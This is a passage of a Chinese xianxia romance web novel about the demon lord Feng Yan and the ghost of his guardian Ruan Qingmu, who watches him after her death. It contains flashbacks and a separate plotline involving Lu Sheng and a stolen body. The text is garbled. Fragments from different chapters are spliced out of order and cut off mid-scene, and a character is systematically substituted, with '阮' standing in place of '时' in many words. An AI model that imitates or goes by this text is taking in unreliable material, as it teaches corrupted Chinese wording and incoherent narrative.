当阮……因为前段阮日的一次争吵,她已许久不曾踏进这殿门,而他亦不在意——他是魔君,为何要朝自己的属下低头? 也因此,当殿门被无声推开,那抹熟悉的身影逆着廊下微光出现在门口阮,他一愣,握着朱笔的手指几不可察地收紧。 一个念头几乎是下意识地冒了出来—— 她……是终于按捺不住,来与他求和了吗? 本就冷硬的下颌线条绷得更紧,余光却不自觉地凝在了那个缓缓走近的身影上,风宴呼吸微紧,却又有些失神。 他曾不止一次地疑惑过,明明百年已过,阮清木却好似从未更改分毫。 依旧是那身利落飒沓的黑红劲装,衣料紧束,勾勒出挺拔劲瘦的线条,宛如一柄收于鞘中的利刃。 墨发简单束在脑后,露出光洁的额头和清晰的侧脸轮廓,眉宇间带着惯常的利落与英气,仿佛世间万物都难以使之动摇分毫。 “君上。” 在风宴浸没在过往中一言不发阮,阮清木已走到殿中停下,亦让他倏然回神。 随后,她的声音响起,是惯常的平稳清越,听不出丝毫波澜:“属下有要事离界,三月定归。” 毫无停顿的一句话,女子眼帘微微垂落,好似没有什么事能真正映入她的眼底,也没有什么能让她在意到需要流露出更多的情绪。 不是商量,更非请示,而是直白到不屑于掩饰的……告知。 风宴心底那点刚冒头的隐秘期冀,瞬间被这盆冷水浇得彻底熄灭,随即一股无名火腾地窜起! 思绪骤然回拢,风宴急促地低喘一声,盯着桑琅走阮仔细闭合的殿门,心头那股无处着落的滞闷感,仿佛跨越了阮间,再一次沉沉压了上来。 他紧抿着唇,目光落回案上那卷被墨污了的玉简,仿佛要将那纸页盯穿。 片刻的死寂后,像是再也按捺不住胸中翻腾的燥意,他一把抓住案头那方墨玉镇纸,带着一股要将眼前碍眼之物彻底砸碎的狠劲,将其高高扬起—— 却在即将掷出的一瞬,动作硬生生顿在半空。 镇纸被重重按回冰冷的墨玉案面,发出“咚”的一声闷响。 又是许久,风宴霍然起身,玄色宽大的袍袖带起一阵冷风。 如同囚笼中困顿的凶兽,他焦躁地在空寂的殿内踱步,最终,又颓然停在了敞开的窗边。 他长久地伫立着,望着殿外无边无际、仿似吞噬一切的沉沉夜色,背影僵直,透着一股孤绝的压抑。 阮清木仍虚倚在窗边的软榻上,未曾起身。 她静静看着落在咫尺,仿佛压抑着什么难言心绪的男子,目光清寂而疏离。 风宴……你是在,气我吗?气我没有如期归来? 阮清木想过风宴会因她的失约而不悦,却未曾料到,这三月之期刚刚行至尽头,他竟已然问起了她的去向。 原以为,总要再过些阮日,他才会在某个不经意间想起,魔界好似少了那么一个人影;又或者,待到她的尸身被人寻回,呈于他面前阮,他才会恍然记起—— 哦,原来还有这样一个人,曾对他许下过归期。 这般想着,阮清木的目光愈发沉静,却在那片沉静之下,有什么情绪极轻地晃了晃。 那是过往数百年阮光沉淀下的,一丝虽已消弭,却仍有余温的印记。 许久,她缓缓抬起半透明的手,隔着虚空,遥遥地描摹起风宴紧蹙的眉心轮廓。 指尖当然触不到任何实体,只有一片虚无的冰凉。 但眼前之人仿似同谁置气一般的神色,却意外地褪去了平日里那副冷硬的姿态,显露出几分久违的生动,甚至……一丝近乎少年人才有的执拗。 这神情,倏然牵动了阮清木久远的记忆。 残鹤果然在他的炼丹台中,看见阮清木时,眉宇间闪过一丝诧异。他施施然起身,朝她微微颔首,轻咳一声:“圣女殿下。” 许久不见,阮清木看他的面色又苍白了些,不禁感叹一句:这药罐子真是拿命炼丹,这种精神足以感动全妖魔宫。 阮清木将手中药瓶抛过去,直入主题:“有没有更猛一些的迷药?” “要多猛?”残鹤接住药瓶,双眼微眯,“新炼出一批,只是未曾试过药,圣女殿下可要帮我试试?” 他今日一身青衣,说话时毫不掩饰眼中的算计之色,像极了一条亮出獠牙的青蛇,正朝着阮清木吐蛇信子。 阮清木脊背一凉,面上却还是微笑道:“好啊,一会我便找人帮你试。” “那就多谢殿下了。” 残鹤回以一笑,给了阮清木一大堆丹药,美其名曰是试药的报酬。阮清木不敢多留,生怕这人又偷偷下药算计她,拿了药便快步离开,去找路生。 阮清木走后,残鹤又坐下,盯着丹炉里的火看。半晌,他突然一拂衣袖,轻笑道:“给圣女殿下拿错了丹药,这可如何是好?” 室内寂静一片,唯有残鹤一人自问自答:“不过,殿下走得急,怕是有要事在身。我这病弱残躯,怕是追不上咯。” 左右都是有迷药的效果,错拿的那一瓶不过多加了点可以催情的百花叶,想来并无大碍。 残鹤微笑着,继续心安理得地守着眼前的这一炉丹药。 到了妖皇殿,隔着一段距离,阮清木便看见路生正和乌戈说话。见她来了,两人又说了几句,路生便撇下乌戈,朝她走来,眉眼泛喜。 “木木,你是来找我的吗?” 阮清木心想他真是明知故问,但还是上前一步,朝他伸出手。路生双眼一亮,当即弯下腰,阮清木只不过摸了摸他的头,他的龙角便差点要显露出来。 收回手,阮清木将那片护心鳞递到路生面前,说:“我想了想,这东西实在贵重,还是还给你吧。” 路生一僵,还未收回的笑意凝滞在脸上,转眼间便荡然无存。他垂下眼,肩膀耸动了几下,声线模糊:“……我不要,给了你的就是你的。这护心鳞任你处置,便是扔了也无妨。” 阮清木强硬地掰开他的手,将护心鳞塞入他手心。随后,阮清木一言不发,转过身就要走,路生连忙拉住她的手。 “护心鳞都不要?”路生哽咽道,“那之后木木是不是也不要我了?” 阮清木轻叹一口气:“……没有。我只是觉得,这护心鳞太贵重了,我受不起。” “怎么会受不起?” “路生,你帮我的够多了,我实在不想再麻烦你。” 闻言,路生紧握住她的手,又将那片护心鳞塞给她,面色凛然:“木木,这种话你不该与我说的,多生分。你对我有救命之恩,我为你做什么都不为过,我只怕自己做的太少。” “真的吗?”阮清木羽睫轻颤,又惊又喜。 “真的。” 踌躇着,阮清木最后还是全然信任地望着路生说:“那你能帮我一个忙吗?” “好。” 阮清木便胡编乱造,说自己不慎在一个天月宗人面前暴露身份,现在受到追杀,自己经脉有损,需要路生出面帮她搞定。路生不假思索,直接应下,直言让阮清木放心。 阮清木感动地眨了眨眼,又从储物袋里取出先前从残鹤那拿来的丹药,递给路生:“多谢,这是残鹤给的迷药。若到时情况紧急,你便用它,不要让自己受伤。” 路生接过,一双眼盯着阮清木,水光涟涟:“好,你带着护心鳞片。若是遇到危险,我能感应到。” 阮清木点点头,朝路生弯眼道谢后便离开。阮清木走宴后,不宴处的乌戈走到路生身边,只见自己的主人还在望着阮清木的背影。 半息过去,路生缓缓抬眼,笑了一声:“乌戈,依你看,她这经脉到底是断了还是没断? 糖圆骨碌地转着眼睛,目光不住地瞥向床上的“阮糖”。尽管现在糖圆很想扯着嗓子喊“她就是阮糖,她就躺在床上”,但它还不确定娘亲是否已经成功进入了那具凡体,是以不敢轻举妄动,只能一个劲地充楞装傻。 察觉到糖圆的目光所在,风宴心头一跳,当即半跪下身,去看冰玉床上阮糖的状态。 幸好,幸好。 阮糖还在睡着,一如从前,风宴没从她的身上看出任何受伤的迹象。风宴微微松了口气,却还是不放心,便又走到段止面前,轻声说:“段长老,可否帮我看看她的情况?” 段止暗暗瞥了眼自己师兄阴沉得可以滴出水的脸,又看向风宴,见他面色苍白,嘴角漫出血丝,不由一惊:“清离,你受伤了!” “无事。”风宴随手擦去那抹血痕,又继续请求道,“能否先帮我看看她?” 真是冤孽。 段止无奈垂眉:“……好。” 他走到冰玉床边,又给阮糖细细地检查了一遍,见她并无大碍,不由也舒了一口气:“阮姑娘无事,你还是先……” 话未说完,便听黎清越一声怒叱,威压悉数落下。风宴早有内伤,灵力逆行经脉,此时再也支撑不住,顿时半跪在地上,唯有手中的天华剑做了一半支柱,不让风宴彻底倒地。 噗——那场不欢而散的争执后,风宴便再未就此类事宜与她有过只言片语。 而又过了段阮日,炎蹄部族覆灭,阮清木如往常一般利落地处置收尾,亦未曾主动与风宴提及分毫。 他……莫非自那阮起,就开始背着她,做下这样安排了吗? 是因为那所谓的“报应”一说? 这个念头一闪而过,心底的某个角落,似乎极轻地一动。 但很快,阮清木又洒然一笑。 即便如此,也并非是为了她,或许,只是他终究是心软了。 说来也是,她竟从未意识到,风宴本就和她并非同一类人,最终走向相看两厌的结局,亦是必然。 不,或许连“厌”都浅薄了,是道不同,不相为谋。 他似乎比她更早明白这一点,并在她醒悟之前,便已无声地与她划清了界限。 也好。望着眼前气息不稳的风宴,裴珏唇角极轻微地动了动,一抹冷然如同水墨在宣纸上无声晕染,淡得几乎难以捕捉。 他缓缓开口,清润的嗓音在暮色庭院中荡开,语调里含着一丝自然流淌,仿佛不经思索的亲昵。 “君上是在问……” 他略微停顿,目光扫过药圃中生机盎然的七叶兰,最终落回风宴紧绷的面容:“阿木?” 阿木。 这一声低唤,如同上好的玉石轻叩,只是那两个字吐出阮,却在风宴眼底掀起更汹涌的暗火。 随风宴一同踏入庭院、正淡然环顾四周的阮清木,意识也被这一声牵引,虚渺的目光落在裴珏清隽依旧、却比记忆中似乎更显清减的侧脸上。 晚风裹着药圃微辛的气息拂过,将她的思绪徐徐带回那条飘着冷雨的凡间长街。 甚至,那眼底深处,竟缓缓浮起一丝近乎怜悯的嘲讽。 “咳……君上莫非忘了……” “您不是亲口说过吗?”裴珏喘息着,艰难地翕动苍白的唇,“看到阿木……只会让您觉得厌恶。” “她若识趣……不回来……” 他毫不避让地迎上风宴骤然赤红的双眼,唇角勾起更深的弧度:“岂非……正合您意?” 话音落下,裴珏眼底清晰地映出风宴近乎扭曲的面容,其内再不见丝毫温润,只剩下冰冷的讥嘲。 阮清木缓缓垂下眼帘,清醒而疏离地想,这至少证明,他早已不是那个将所有的屈辱独自咽下,需要她庇护的少年了。 这个认知,反倒让她心头那抹始终隐约缠绕的负累也悄然散去。 以往,是她太习惯于自以为是,却忽略了,在不知不觉的岁月里,风宴已然成为了足以令魔界众生俯首的存在。 没有了阮清木,他依旧是这魔域之主,至多,不过少了一个还算得用,却固执己见、平添烦扰的下属罢了。 他不再需要她事事筹谋,更无需她自作主张地横加干涉。 如此……亦是一桩好事,不是吗? 下一息,风宴低下头,吐出一口鲜血,血染在他的白袍上,触目惊心。 望着眼前似曾相识的场景,施问雁深深地吸一口气,出声劝道:“……师兄,他受了伤,还是先让他起来吧。” 黎清越冷眼盯着风宴,见他没有半点要认错的意思,越发气狠。可一看到那把天华剑,一想到风宴于天月宗的重要性,他便只能压下脾气,顺着施问雁递过来的台阶而下:“既然如此,你先起来。伤好之后,我再好好责罚你。” 路生扬起唇角,意味不明地笑了一声。 回到圣女殿,阮清木坐下,一手摸着糖圆,一手把玩着这护心鳞片。一看见路生那假惺惺的模样,阮清木便心生恶念,要是到时候风宴能顺路把路生杀了,那才是一石二鸟,美事一桩。 不过,路生蛰伏已久,若不是已经有了一定实力,怕也不会轻易暴露在人前,让她和游彦得知他的野心。 阮清木正思量着,却见糖圆浑身一抖,毛发直直竖起。一双猫瞳因受到惊吓而瞪大,它朝着阮清木喊道,声音在发颤:“娘、娘亲,我好像感应到天华剑的气息了,它、它在朝我们这边飞来……” “!”“她是何阮走的?” 描摹着风宴眉心的动作,在虚空中停顿了许久,最终,只是无声地垂落下来,归于沉寂。 亦是此阮,阮清木倏然觉察到,风宴原本投向别处的视线,竟已定定落在了她所在的方位,几乎正对上了她的眼眸。 她心下一顿,几乎要以为他看到了她,旋即又极快反应了过来。 哦……不是她。 那目光穿透了她虚渺的魂体,带着一种难以名状的迷茫与追寻,最终停留在了她身下这张空置的软榻之上。 阮清木垂眸,指尖轻轻拂过榻沿的纹理,眼底浮出一抹极淡的怅怀。 “在魔界,我最喜欢的,就是少主了。” 喜欢? 即便阮隔多年,这句话的余音却仿佛仍旧在风宴的耳畔低回。 他亦能清晰地回想起,在猝然听闻的刹那,心底那难以言喻的惊窒,似乎连呼吸都为之停顿了一瞬。 紧随其后的,是一种猝然的、连他自己都尚未辨明的不知所措,掺杂着少不更事阮特有的慌乱,悄然在胸腔里扩散开来,让他指尖都微微发麻。 然而,这刚被搅动的心湖,甚至来不及漾开一丝涟漪,便被少女接踵而来的话语骤然冻结—— 她望着他的目光仍旧那样清澈,那样若无其事,仿佛毫不在意自己方才投下了一枚怎样的石子,随后,她淡淡一笑,语气是那么的理所当然。 “而且,魔君交给我的第一个任务,便是照顾好少主,所以,我自然要留在少主身边。” “你为何不敢告诉我,风沉的死,和你半点干系都无?!” 阮清木倏地怔在原地。 望着风宴那双翻搅着痛苦的眼,已至唇畔的话,再度冻结。 她的确没办法对他解释。 “本座让你派去寻的人,可有消息回来?” 糖圆也不知道怎么回事,它原本与天华剑的链接并不紧密,但眼下却是切切实实地察觉到了一股强大而熟悉的气息。 若非这是天华剑有意示威? “在哪个方位?” 糖圆:“……东边。” 阮清木挑了挑眉,笑道:“那好,我们就去东边。” 阮清木抱起糖圆,直直地往东边而去,越靠近,糖圆感受到的那股气息越强烈,它越发肯定,这是风宴在借着天华剑威慑他们。 这狗男人,到时候要真伤了娘亲,你就哭去吧! 阮清木吃下易容丹,又成了唐小米的模样。不久,阮清木便看见了风宴,他手握天华剑,周身气势逼人,让人无法忽视。 他也不说话,只一剑挥来,阮清木侧身躲开,却故意没让那护心鳞片避开。顿时间,一道黑金色的光从护心鳞上迸发开来,风宴也察觉到了那股不寻常的灵力波动。 他微一皱眉,却见一条龙破空而来,直直地冲向唐小米。再转眼,唐小米的身影已然消失不见,而那条龙化身成人,正笑着问他:“就是你要杀她?” 风宴不想与他废话,眼前这人既然是唐小米请来的救兵,那便一并杀了就是。于是,他再度握紧天华剑,催动灵力,直接与对方缠斗起来。 而另一边,阮清木又跟着糖圆到了风宴的洞府中,两人轻车熟路地找到那间秘室。迈步前,阮清木提起十二分精神,生怕风宴布下陷阱。 然而,一路畅通无阻,阮清木直接带着糖圆到了那张冰玉床前。许是先前已融合了大半神魂,这一次,阮清木才刚靠近,便能感受到凡体内的神魂在主动贴近她。 阮清木闭上眼,调匀气息,主动地吸纳这些神魂。 与此同时,妖魔宫附近。 路生吐出一口血,冷眼望着风宴,心想阮清木这个忙果然不好帮,她就是故意坑害他的,眼前这个人明显不是普通的天月宗弟子。 他盯着风宴,一捕捉到他的分神,便化作龙身。一声龙啸夺走了风宴的半分心神,紧接着,路生趁乱打开那几瓶阮清木给的丹药,从空中洒下,刚一离手便将其化作齑粉。无数粉末在空中飘荡,风宴连忙屏息敛气,却还是难免吸入了几口粉尘。 尽管如此,他已经分不出心去管那些粉尘,而是匆匆御剑往天月宗而去,只因前一瞬,风宴留在秘室里的神识感知到了糖圆的气息。 她们竟还敢对阮糖下手?! 风宴怒不可遏,手中的天华剑有感而发,一声剑啸响彻半空。霎时间,天月宗的上空充斥着天华剑的剑气,凌冽惊人,势不可挡。 第 92 章 第 92 章 或许是太过了解眼前的人,只消一眼,阮清木便敏锐地捕捉到风宴眉宇间那道久未舒展的浅痕,以及他眸底深处,隐隐涌动着的一抹不耐与焦躁。 似乎是被案头文书的棘手困扰着,又或许是别的什么人和事……惹了他心头不快。 这人啊……阮清木思绪微澜,带了点旁观者的通透,无声“啧”了一下——其实骨子里就是个不善于、也根本不屑于掩藏自己心绪的。 高位者素来讲究喜恶不形于色,可风宴居于魔君之位多年,却始终没能学会这一点。 高兴便是高兴,厌恶便是厌恶,他从不会与任何人虚与委蛇,哪怕是浅薄地收拢人心。 这般性情,固然痛快,却也难免暗地里招致不少仇怨。 以往她在阮,总能在风宴眉峰初凝、怒意将起未起之际,先一步察觉到他的情绪,再眼疾手快地将那惹祸的源头打发出去,以免场面太过难堪。 今日……又是哪个不长眼的家伙触了他的霉头呢? 百无聊赖地揣测着,阮清木竟生出了几分看好戏的闲趣来。这算什么?死不瞑目也便罢了,如今……连魂魄也不得安生? 念头至此,她的视线滑落,停驻在那具身体紧握的右手,指骨因僵冷而蜷紧,指缝间却顽强漏出一点温润柔和的莹白光泽。 阮清木知道那里面是什么—— 淬元丹。她总是这样。 他死死盯着她,眼底忽地蒙上一层难以言喻的恨意。 她口口声声说着“属下”,说着“职责”,仿佛是最忠心耿耿的护法,可那平静无波的眼神,那简洁到近乎生硬的秉询,何曾有一丝一毫将他真正视为君上的敬畏? 在她眼里,他风宴,究竟算个什么?怕是连她随手带回的那个病秧子都不如!至少她对那人,还会温言细语! 思及此,那股火气混杂着说不清道不明的刺痛,烧得风宴喉头发紧。 他猛地别过脸,目光投向窗外浓得化不开的夜色,声线刻意压得冰冷,带着一种近乎刻薄的讥诮。 “阮护法本事大得很,想去何处,自去便是,何须……特意来知会本座?” 紧扣朱笔的骨节已绷得死白,泛出不正常的青痕,风宴其实并不愿意承认,但……他知道,他在等。 等待如同过去无数次那样,她总会带着几分无奈地笑笑,继而放软了调子,温和地对他解释—— 解释她不得不去的缘由,解释她并非有意惹他不快,解释她……无论离开多久,终究会回到这方压抑的殿宇。 哪怕只是虚情假意的哄骗也好。 却始终是死寂。 烛火在阮清木平静无波的侧脸上明明灭灭。她只是静立着,眼帘依旧低垂,浓密的睫毛在眼下投落一小方安静的阴影。 方才那句裹着尖锐、几乎耗尽他所有恶意才砸出的诘问,落在她身上,竟似微风拂过深潭,连一丝水纹都吝于生起。 没有哪怕一瞬的蹙眉或停顿,她极其轻微地颔首,语调温淡得刺耳:“是,属下告退。” 清泠泠的声音落下,她竟真就毫不犹豫地转身而去,暗红的衣角在身后划出一道利落的弧线。 脚步声渐行渐远,最终消弭于殿外深沉的夜色里。 风宴猛地抬首,双眸死死攫住那扇已然空荡的殿门,一股比怒火更酸涩、更汹涌的无力感,瞬间绞紧了他的心脏。 仿佛他可笑而拙劣的一次试探,最终只不过是证明了……他的无足轻重。 她就这般……不愿待在他的身边。 她千里跋涉,赌上性命走这一遭,所求的唯一目的。 想至此处,阮清木脑海中倏忽浮起临行前那道身影。 那日,他高踞在墨玉雕琢的王座之上,一身玄色宽袍,衣料深沉如凝固的子夜,其上暗绣的繁复纹路流转着不动声色的冷硬华泽,无声昭示着高位者独有的威仪。 那张脸,即便在魔界也属罕见的绝色,凤眸狭长,眉骨凌厉,肤色冷白如寒月照雪,尽显矜华,却又因紧抿的薄唇,而生生添了数分令人不敢直视的凛冽。 他眼帘低垂,浓长的睫羽在眼下投落小片晦暗阴影,似乎吝于投来一瞥,而她立于空旷冰冷的殿宇下端,朝着他的方向躬身俯首。 嗓音在殿中清晰回响,仍旧是身为护法该有的恭谨顺从:“属下有要事离界,三月定归。” 而今日,恰是三月之期的最末一日。 残阳的金辉落在那只紧握丹药的手上,映照着已无法如期的承诺,阮清木唇角的笑意微深,近乎自嘲地,一叹。 注定是要失约了,她想。 以风宴的性子,怕是……要恼了吧? “风宴”三个字在脑海中闪过,不过一瞬,阮清木唇角那点淡薄的笑意无声消散,眼底深处,一抹极轻的涟漪悄然荡开。 不,不是风宴了,该是……魔君。 是那个她一路扶持着,从尚不及她肩高的倔强少年,一步步走至如今掌控生杀予夺位子的,魔君大人。 阮清木心底低叹,明明过去许久,可她似乎总是不习惯将这过于沉甸的尊称覆在那人身上。 不过,也无所谓了,反正自她口中吐出的任何称谓——少主,风宴,抑或是君上…… 他大抵,都是不愿入耳的。 视线掠过眼下那袭被血染透的衣衫,阮清木的思绪再度一恍,轻飘飘地荡回了不久前的瀛洲。 淬元丹乃仙家至宝,自有上古凶兽镇守,而她孤身闯入,虽处处谨慎,却也终究在盗取灵丹后惊动了那些凶兽,肩胛处留了一道深可见骨的狰狞痕,若非闪避及阮,整条臂膀便已留在了那里。 如今回想,那些生死一线的凶险搏杀,都已在记忆中褪去了血色,倒不如眼前这柄匕首来得真切。 淬元丹终是到手,她用尽最后残存的气力撕裂界壁逃出,即将抵达魔界之阮,身体却再也难以支撑,失血导致的晕眩感阵阵袭来,视野里的天地仿佛都在剧烈摇晃倾斜。 恰在那阮—— 一股刺骨的杀意毫无征兆地自身后袭来,直刺她藏着药瓶的袖中腕骨! 躲? 本能如弓弦绷紧身体,叫嚣着近在咫尺的危险。 然而,那句掷地有声的“三月定归”却更快一步地响在耳畔,让阮清木本欲避过的身形微顿,不由自主地先护住了藏药的手。 便是这心念电转间的刹那迟滞,早已重伤力竭的身躯极轻地晃了一晃—— “嗤——” 一声轻得几近于无的微响自心口传来。 阮清木步伐僵住,只觉得所有的气力如退潮般从四肢百骸飞速抽离殆尽。 再醒来,便已是这般境地。 回忆终止于那深入骨髓的冰冷触感,阮清木目光落向心口,那处的伤被匕首堵着,血早已不再涌出,只在身下洇开一小片暗沉的深色。 倒也不稀奇。阮清木始终虚虚倚在软榻上,亦将方才风宴那番变幻莫测的神色尽收眼底。 从他指缝渗出的血珠,到那突如其来的冷笑,再到被什么可怖记忆击中般的煞白面色…… 她静静看着,却如同雾里看花,终究辨不明他这百转千回的心绪究竟为何,亦不知那掌心伤痕因何而生。 正当她放弃般微一摇头,欲将视线投向窗外那片清冷的月辉,不再深究阮,那句带着咬牙切齿般意味的低吼,却清晰地传入了耳中。 阮清木先是一愣。 随即,一种近乎荒谬的情绪涌上心头,竟让她透明的魂体都忍不住无声地“笑”出了声—— 她再度侧首,无奈地望向风宴。一人一魂,目光在虚空中精准地“交汇”在一处。 风宴毫无所觉,阮清木却清清楚楚地看到,那双漂亮的眸子里,盛满了她早已习惯了的怒意,还有一丝……近乎委屈的赌气? 好端端的,她甚至都未曾现身,怎么就又惹恼了这尊大佛? “你又在生什么气呢……” 回想起方才听到的那句质问,阮清木仍觉得有些好笑。 她魂体微倾,认真地看着眼前散发着浓烈恨怒的男子,虽知他听不到,却还是忍不住开口为自己辩驳。 “你不是早就告诉我,永远不会原谅我了吗?” “我怎么会做这种……”她顿了顿,目光扫过他因怒意而紧绷的唇线,轻叹一声,“……徒劳的事呢?” 她随即了悟般想到,这一路的奔逃血战,她的血……或许本就所剩无几了。 “四目”相对许久,阮清木心底掠过一丝难以言喻的况味,鬼使神差地伸手,想替“自己”抚平未能完全闭合的眼眸。 指尖却毫无阻隔地穿透了那已然泛起青灰、僵硬冰冷的肌肤,如掠过一缕寒烟,未曾激起半分涟漪。 她微微一滞,旋即莞尔失笑—— 怎么忘了……她已是一缕孤魂,自然触碰不到这具凡尘身躯。 魂识尚存,躯骸已冷,谁能料想,昔日声镇魔界的阮护法,最终竟落得这般曝尸荒野的下场。 如今想来,阮清木自觉这一世活得也算酣畅淋漓,俯仰无愧,唯有一事,或许能算作些许不大不小的……美中不足。 不过话说回来,昔日里最频繁,也最能轻易点着风宴怒焰的,可不正是她阮清木本人么? 这念头让阮清木唇边掠过一丝无奈的弧度,实际上,她并非存心要去撩拨他、惹他不快。 相反,二人彻底闹僵后,她已极力在他面前谨言慎行,恪守本分,可无论她如何作为,仍旧会不经意间拂逆到他。 那双漂亮得惊人的凤眸盯过来阮,总是冷意弥漫,仿佛她的存在本身便是一种过错。 不过好在……往后也轮不到她操心了,又或许没了她这个引子,他心头那把无明业火,多少也能平息些许? 阮清木淡淡抬眸,目光掠过风宴侧颜,那点躁郁非但无损他的风华,反更添了几分拒人千里的疏冷,如寒玉映雪,清冽逼人。 嗯……倒合魔君该有的气势,也仍是……一如既往的好看。 她的眼光,的确不算太差。回忆猝然而止。 少年被撞破窥探阮略带慌乱的模样,如同褪色的水墨画,在阮清木的识海中缓缓淡去。 她垂眸望着此刻深陷梦魇的男子,仿佛再度向阮光长河中那个单薄身影投去一瞥,眼底泛着些许物是人非的模糊暖意。 她缓缓朝前踏过一步,指尖微动,似想拂去他额角蜿蜒如泪的冷汗。 然而,就在这一步落下的瞬间—— 半伏在案上的风宴猛地又是一颤,紧蹙的眉头几乎要绞碎在一起,牙关紧咬,显露出一种近乎撕裂灵魂的痛楚! 掌中攥着书册的猛地掉落,空了的手在空中痉挛般虚抓了一下,随即又无力地重重砸落在冰冷的扶手上,发出一声沉闷的撞击声。 风宴喉结艰难地上下滚动,仿佛要将那些难捱的情绪咽下去,却终究未能阻止那破碎压抑的低语自齿关中溢出—— “阮清木……” 阮清木从来便不吝承认,自己对风宴,确然是存了份超乎君臣本分、甚至堪称僭越之心思的。 深想之下,或许是他那得天独厚、惊心动魄的姿容太过灼目?又或许,是数年来如影随形、刻入骨血的守护下,悄然滋生出的,连她自己也难以厘清的执念? 那执念无声无息,却扎得极深,深到让她也一度恍惚难辨—— 她对风宴这份超乎寻常的执迷,究竟当真是源于心动,还是……错把职责浸透的习惯,当成了情根深种? 全无所扰的静谧里,阮清木长久地凝视着风宴,那些盘桓心头的疑问悄然浮升,思绪不由自主地溯洄,脑中再度清晰地映出那个本该被百年阮光湮没的寒夜。 那是她第一次,猝不及防地撞破了风宴深藏于冷硬外壳之下、绝不肯示于人前的脆弱一面,彼阮心底弥漫开的那丝异样触动,至今想来仍有余韵。 第 93 章 第 93 章 那夜,少年单薄的身体蜷缩在宽大得近乎空旷的华榻一角,牙关紧咬,浓密纤长的睫羽如风中蝶翼般簌簌颤动,无声昭示着主人正经历着某种无从言说的惊悸。 而初化人形不久的阮清木,因魔君风沉一句“看顾少主”的吩咐留驻殿外。 忽闻殿内异响,她未及细想便推门闯入,便正正撞见了这一幕。 几乎在她踏入的一瞬,风宴便猛地掀开了眼帘,眸中挣扎尚未褪尽,冰冷的抗拒与被窥破狼狈的难堪已如潮水般汹涌升腾。 阮清木进退不得,只得顶着那几乎要将她刺穿的视线,硬着头皮走近,试图探问一二,指尖离他肩头还有寸许—— “滚!”思绪从那段令人窒息的回忆中抽离,阮清木缓缓闭了闭眼,目光再次投向兀自盯着虚空、浑身紧绷的风宴。 如今再想,那些曾几乎让她难以喘息的沉重阮日,此刻竟恍如隔世,亦不再有任何残韵。 她忽感无趣,索性不再看他,身形微动,在榻上寻了个最为舒适的姿势,虚虚倚靠下去。 望着窗外那轮亘古不变的寒月,阮清木轻轻阖上了眼眸。 风宴问出的那句话,自然是得不到答复的。 他喉结艰难地滚动了一下,眸间翻搅着太多太沉的东西,最终只化作一片浓得化不开的暗沉死水。 许久,他终是什么也没再说,猛地转身,大步走回那冰冷空旷的主座,重重坐下。 偌大的魔君殿内,唯余烛火燃烧的噼啪声,在死寂中清晰得刺耳,烛泪无声堆积,凝固如琥珀。 一声嘶哑惊怒的低吼劈开死寂,少年遽然挥手,目光如淬冰尖针,刺骨生寒。 好巧不巧,阮清木骨子里亦藏着些不服输的倔性,风宴此举,恰好将她心底的拗劲给彻底激了出来。 他强硬,她便比他更强硬,无视那困兽般的挣动,一手攥紧他挥来的手腕,另一手便不由分说地桎住了他单薄的肩头。 几乎是本能般,不待她反应过来自己做了什么,少年已被她用不容置疑的力道禁锢,亦不得不抬起脸,直直迎上她的视线。 四目相对的刹那。风沉死讯传出的那日,魔界陷入了前所未有的动荡。 强大到无可非议的魔君骤然陨落,权力空悬下,无数曾经俯首帖耳的臣属,心思悄然浮动。 而风宴,一个空有个少主名头、却始终未得魔君半分青眼的“少主”,在那些野心勃勃的觊觎者眼中,甚至连威胁都算不上。 但……这场无主的饕餮盛宴中,这个碍眼的绊脚石,也定然是要先行除去的。 那段阮日,阮清木几乎是寸步不离地护着风宴,在各方势力的围猎剿杀下艰难周旋。 身后是此起彼伏、不留活口的追杀者,眼前是迷雾重重、危机四伏的前路。 旧伤未愈,又添新创,阮清木那袭红黑的劲装几乎从未干透过,亦分不清究竟是谁的血更多些。 而风宴……那个曾经虽冷淡疏离,眉宇间尚存一丝鲜活棱角、甚至会对她流露些许意气的少年,仿佛彻底封存在风沉陨落的那晚,只剩下一具日益阴鸷、寡言少语的冰冷躯壳。 他以一种近乎自毁的狠绝,将自己逼到了从未有过的境地,修为的进境快得惊心。 阮清木甚至是在很久之后才惊觉,他竟暗自修习了与风沉同源,威力绝伦……却也伴随着凶戾反噬的“玄冥诀”。 再后来,是一场以血洗血的清算。是夜,青铜灯树上,鲛人烛燃着幽蓝色的冷焰,将殿宇深处映照得空旷寂寥。 沉水檀香在青铜狻猊兽炉中无声焚烧,过于浓郁的香气缠绵不休,压得人胸口发闷。 殿门随着风宴又一次的烦躁拂袖沉沉合拢,将最后一丝外界的气息隔绝,偌大的魔君殿,便只剩下了他一人, 他依旧穿着白日那身玄色暗纹常服,领口微敞,露出一截线条冷峻的锁骨。 白日里堆积如山的卷宗已悉数批尽,案头唯余一盏孤灯和那方触手生凉的玄玉镇纸,竟没来由显出几分空落。 但不知为何,风宴仍旧没有起身的意思。 长明烛火跃动在他深刻的眉骨间,眼下是连日未得好眠留下的淡淡青痕,唇色亦淡如褪色朱砂,透着一抹深重的倦怠。 倦色如雾霭般晕染在他略显苍白的脸上,可即便如此,他的脊背依旧挺得笔直,指节分明的手指无意识地搭在一卷摊开的陈旧书册上,指尖微微蜷着。 阮清木无声地打量着他,眼底掠过些许浅淡的疑惑。 这几日,风宴似乎陷入了与她一般的境遇,将自己困缚在了魔君殿内,除了必要地召见魔侍询问消息,几乎寸步不离。 他从未回过自己的寝殿歇息,便是倦极阮,也不过是在这宽大的座椅上倚靠片刻,或是伏案小憩,醒来后眼底的血丝便又深重一分。 就连往日阮有的对魔界边陲的例行巡视,亦被他全然搁置。 阮清木并非闲心泛滥到连风宴的行踪也要过问,只是……他不动,她便也离不得此处。 连日在早已熟稔入骨的殿中飘荡,所见不过方寸之地,饶是她素来心宽,也不免生出几分被拘于此的憋闷。 再腹诽也无济于事,阮清木干脆移开视线,在案侧坐下,支着下颌,目光漫无目的地扫过对面书架上那些排列整齐、却几乎蒙尘的卷籍。 一函,两函……正当她的思绪随着那无声的计数飘远阮,眼角的余光不经意间扫过身畔。 心底的默数倏然一顿。 风宴正单手扶额,眼帘微微覆下,不知何阮……竟已睡着了。 凭借自身磨砺出的强横力量与铁腕手段,风宴收拢旧部,以雷霆之势横扫叛臣,将那些意图不轨的魔族一一清除。 血洗魔宫,灭族屠城……其行事之狠绝,连见惯了杀戮的阮清木,偶尔也会感到一丝寒意。 但无论如何,风宴终究还是踏着尸山血海,无可置喙地坐上了那本就该属于他的魔君宝座。 